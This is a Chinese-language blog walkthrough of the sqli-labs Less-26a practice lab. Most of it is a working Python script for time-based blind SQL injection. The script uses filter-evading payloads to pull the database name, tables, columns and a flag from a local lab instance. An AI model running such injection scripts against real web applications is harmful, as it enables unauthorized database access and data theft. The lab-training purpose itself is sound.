前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql-labs-less26a|sql注入(脚本)

sql-labs-less26a|sql注入(脚本)

作者头像
TenG
发布2020-10-28 17:44:21
1.1K0
发布2020-10-28 17:44:21
举报
文章被收录于专栏:网安菜鸟成长记

前言:

本关为sql-labs系列less26a,此系列持续更新,前面的关卡可以查看我前面的文章,本关使用bool盲注的方法用脚本跑,如有错误的地方欢迎师傅指正。

正文:

这一关在less26的基础上没有了报错回显,所以不能再用报错注入,而且由于阿帕奇的原因也不能使用空字符代替空格(在这一篇有讲),所以就只能使用时间盲注,通过页面返回时间判断是否注入正确,不过也有一个不适用时间盲注的方法,如下:

方法1:

测试过程就不再赘述,直接看图:

使用left函数从左到右逐次判断,用burpsuite爆破,不过比较麻烦,不推荐这种方法。

方法2:

先看效果图:

方法跟前面的9、10关差不多,直接放脚本:

代码语言:javascript
复制
import requests
import time
import datetime

url = "http://localhost/sqli-labs-master/Less-26a/?id=1'"

def get_dbname():
    db_name = ''
    for i in range(10):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
#%26代表&符号,因为%是转义符所以要用双百分号。
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                db_name += chr(k)
                print("数据库名为->"+db_name)
get_dbname()

def get_table():
    table = ''
    for i in range(40):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                table += chr(k)
                print("所有表名为->"+table)
get_table()

def get_columns():
    column_name = ''
    for i in range(20):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flag')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                column_name += chr(k)
                print("flag所有字段名为->"+column_name)
get_columns()

def get_flag():
    flag = ''
    for i in range(30):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                flag += chr(k)
                print("flag为->"+flag)
get_flag()

可以自己参考脚本,脚本详细细节可以访问sql-labs-less9/less10,感谢支持!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/10/19 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 正文:
    • 方法1:
      • 方法2:
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档